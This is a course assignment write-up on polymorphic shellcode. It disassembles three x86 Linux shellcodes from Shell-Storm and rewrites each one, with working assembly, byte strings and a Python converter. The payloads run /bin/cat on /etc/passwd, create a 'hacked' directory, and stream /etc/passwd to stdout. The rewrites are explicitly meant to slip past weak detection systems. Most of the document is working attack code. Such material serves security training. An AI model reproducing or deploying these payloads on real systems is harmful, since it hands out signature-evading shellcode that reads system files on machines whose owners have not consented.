Assignment N°6 - Polymorphism

Assignment Goals

Foreword

On Shell-Storm, you will not always find the original assembly code for shellcodes you choose. To solve this issue, we've created a tiny Python script to convert a shellcode from its string form to raw format (stdout). We can easily pipe output result to Ndisasm and recover an assembly code very close to the original version.

Converter (Python3)

#!/usr/bin/python3

# Jean-Pierre LESUEUR (@DarkCoderSc)
# www.phrozen.io
# SLAE32

import sys

def bytestr_to_bytearr(data):
    return list(bytearray.fromhex(data.replace("\\x", " ")))

if (len(sys.argv) != 2):
    print("Usage: shellcode_to_raw.py <shellcode[Ex: \\xff\\x90\\x92...]>")
else:
    sys.stdout.buffer.write(bytes(bytestr_to_bytearr(sys.argv[1])))

Usage

local@user:$ chmod +x shellcstr_to_raw.py

local@user:$ ./shellcstr_to_raw.py <shellcode_string> | ndisasm -b32 -

Shellcode N°1 - Read Passwd File.


As first shellcode, we chose the following one : /bin/cat /etc/passwd

Retrieve Assembly Form

We will use our tiny python script to retrieve the assembly form of this shellcode.

local@user:$ ./shellcstr_to_raw.py "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" | ndisasm -b32 -

Result

00000000  31C0              xor eax,eax
00000002  99                cdq
00000003  52                push edx
00000004  682F636174        push dword 0x7461632f
00000009  682F62696E        push dword 0x6e69622f
0000000E  89E3              mov ebx,esp
00000010  52                push edx
00000011  6873737764        push dword 0x64777373
00000016  682F2F7061        push dword 0x61702f2f
0000001B  682F657463        push dword 0x6374652f
00000020  89E1              mov ecx,esp
00000022  B00B              mov al,0xb
00000024  52                push edx
00000025  51                push ecx
00000026  53                push ebx
00000027  89E1              mov ecx,esp
00000029  CD80              int 0x80

Shellcode Purpose

This shellcode is a basic execve() call to execute the following command : /bin/sh -c "cat /etc/passwd"

It uses the stack technique to store execve() parameters.

Original Size is 43 Bytes.

Polymorphic Version

Biggest Changes

Instead of using stack for storing the execve() command, we will use the Jump Call Pop technique.

We need to store two distinct strings for our execve() call. To do so, we will store our execve() payload in the same defined byte array separated by a random byte 0xff.

On run time, we will replaced the 0xff delimiter by NULL characters to break the string in two slices (We want to keep target shellcode free from NULL characters).

In addition of that we will use equivalent instructions to achieve the same original goal. For example instead of doing :

xor eax, eax
xor edx, edx

We will do

xor eax, eax
mov edx, eax

etc..

Result

global _start

_start:
    jmp short _call

_pop:
    xor eax, eax             ; initialize eax register
    mov edx, eax             ; initialize edx

    pop ebx                  ; /bin/cat

    mov byte [ebx+0x8], al   ; update 0xff with NULL
    mov byte [ebx+0x14], al  ; update 0xff with NULL

    lea ecx, [ebx+0x9]       ; place ecx to /etc/passwd

    ; replace push instructions
    push eax                 ; NULL (EOF Argv)
    push ecx                 ; */etc/passwd
    push ebx                 ; */bin/cat       

    mov ecx, esp             ; **/bin/cat

    add al, 0xb              ; equal to mov al, 0xb. execve() syscall

    int 0x80                 ; call syscall()
_call:
    call _pop

    ; /bin/cat /etc/passwd
    spell: db 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x63, 0x61, 0x74, 0xff, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0xff

New Size is 51 Bytes.

Shellcode N°2 - Create new Directory.


For our second shellcode we will use mkdir() && exit() from shell-storm.org.

Retrieve Assembly Form

Like for our first shellcode, we will use our tiny script to recover it original assembly code (as close as possible)

local@user:$ ./shellcstr_to_raw.py "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" | ndisasm -b32 -

Result

00000000  EB16              jmp short 0x18
00000002  5E                pop esi
00000003  31C0              xor eax,eax
00000005  884606            mov [esi+0x6],al
00000008  B027              mov al,0x27
0000000A  8D1E              lea ebx,[esi]
0000000C  66B9ED01          mov cx,0x1ed
00000010  CD80              int 0x80
00000012  B001              mov al,0x1
00000014  31DB              xor ebx,ebx
00000016  CD80              int 0x80
00000018  E8E5FFFFFF        call 0x2
0000001D  6861636B65        push dword 0x656b6361
00000022  64                fs
00000023  23                db 0x23

Shellcode Purpose

This very small shellcode will create a new directory called hacked on current directory. It will use the mkdir syscall to achieve his goal.

The hacked string is stored at the end of the shellcode using the Jump Call Pop technique (6861636B6564).

When directory is created, it will exit gracefully with error code equal to zero.

Original Size is 36 Bytes.

Polymorphic Version

Biggest Changes

This time, we will replace the Jump Call Pop technique by the stack method to store the directory name. Using stack instead of Jump Call Pop will save few bytes for our shellcode.

Apart this change, we will also tweak assembly instructions to achieve same result but using different instructions combinations.

Result

global _start

_start:
    xor eax, eax    ; initialize eax
    cdq             ; initialize edx

    push ax         ; 0 (NULL)
    mov cx, 0x6465  ; "de"
    push cx         ; could also be (push word 0x6465)
    push 0x6b636168 ; "kcah"

    mov al, 0x27    ; mkdir() syscall

    mov ebx, esp    ; directory name
    mov cx, 0x1ed   ; mode  

    int 0x80        ; call syscall

    sub al, 0x26    ; = 0x1, exit() syscall
    mov bl, dl      ; exit code equal zero
    int 0x80        ; call syscall

New Size is 32 Bytes.

Shellcode N°3 - Read File Content.


For our last shellcode, we will choose a more complex one still from shell-storm titled File Reader

Retrieve Assembly Form

Again, we will use our python script to recover the closest possible assembly instructions for our last shellcode.

local@user:$ ./shellcstr_to_raw.py "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff" | ndisasm -b32 -

Result

00000000  31C0              xor eax,eax
00000002  31DB              xor ebx,ebx
00000004  31C9              xor ecx,ecx
00000006  31D2              xor edx,edx
00000008  EB32              jmp short 0x3c
0000000A  5B                pop ebx
0000000B  B005              mov al,0x5
0000000D  31C9              xor ecx,ecx
0000000F  CD80              int 0x80
00000011  89C6              mov esi,eax
00000013  EB06              jmp short 0x1b
00000015  B001              mov al,0x1
00000017  31DB              xor ebx,ebx
00000019  CD80              int 0x80
0000001B  89F3              mov ebx,esi
0000001D  B003              mov al,0x3
0000001F  83EC01            sub esp,byte +0x1
00000022  8D0C24            lea ecx,[esp]
00000025  B201              mov dl,0x1
00000027  CD80              int 0x80
00000029  31DB              xor ebx,ebx
0000002B  39C3              cmp ebx,eax
0000002D  74E6              jz 0x15
0000002F  B004              mov al,0x4
00000031  B301              mov bl,0x1
00000033  B201              mov dl,0x1
00000035  CD80              int 0x80
00000037  83C401            add esp,byte +0x1
0000003A  EBDF              jmp short 0x1b
0000003C  E8C9FFFFFF        call 0xa
.string "/etc/passwd"

Shellcode Purpose

The purpose of this shellcode is to read the content of any file and write back to stdout file descriptor.

To do so it will smartly read desired file byte by byte until it fail for any reasons (most likely EOF).

The desired file name must be appended at the end of the shellcode. The shellcode is using Jump Call Pop technique to store the file name.

Polymorphic Version

Biggest Changes

This time we wont switch between Jump Call Pop and Stack techniques for storing strings. We will scramble most instructions to achieve the same goal.

The main objective of this polymorphic version was to:

  1. Reduce the size of the payload (not to his maximum tho, this is not our goal).
  2. Achieve the same result while altering most original instructions.

While creating the polymorphic version, we kept in mind registry status at each steps, even through jump calls to create something more difficult to understand.

One example and very efficient to evade some weak detection systems was to used the predictable return value of write() call, and use it value to reassign a new syscall number.

Result

global _start

_start:
    xor ecx, ecx           ; initialize ecx
    mul ecx                ; initialize eax, edx

    jmp short _call        ; start Jump Call Pop
_pop:
    mov ebx, [esp]         ; recover filename (equivalent to pop ebx)

    add al, 0x6
    dec al                 ; 0x5 open() syscall number

    int 0x80               ; call syscall

    xchg ebx, eax          ; assign file handle to ebx

    mov esi, ebx           ; copy file handle to esi

    xchg eax, ecx          ; exchange ecx and eax values (eax = 0)

    mov ecx, esp           ; our *buffer

    inc edx                ; read file byte by byte

    inc eax                ; eax = 1           
_read_chunk:
    add al, 0x2            ; 0x3 read() syscall number  

    int 0x80               ; call syscall

    cmp eax, edx           ; check if eax is equal to edx

    jne _exit              ; if not equal we've probably reached the EOF

    add al, 0x3            ; 0x4 write() syscall number

    mov ebx, edx           ; edx = 1 so ebx = 1 = stdout file descriptor number

    int 0x80               ; call syscall

    mov ebx, esi           ; restore opened file descriptor (handle)

    jmp short _read_chunk  ; read next chunk    
_exit:
    mov al, dl             ; edx = 0x1 so eax = 0x1 = exit() syscall
    dec edx                ; edx = 0
    xchg ebx, edx          ; ebx = 0    

    int 0x80               ; call syscall
_call:
    call _pop
    ; filename: db 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64

New Size is 53 Bytes.

Afterword

You will find all codes on the following Github repository : https://github.com/DarkCoderSc/slae32-polymophism

Written the Nov. 23, 2020, 11:10 a.m. by Jean-Pierre LESUEUR

Updated: 5 months ago.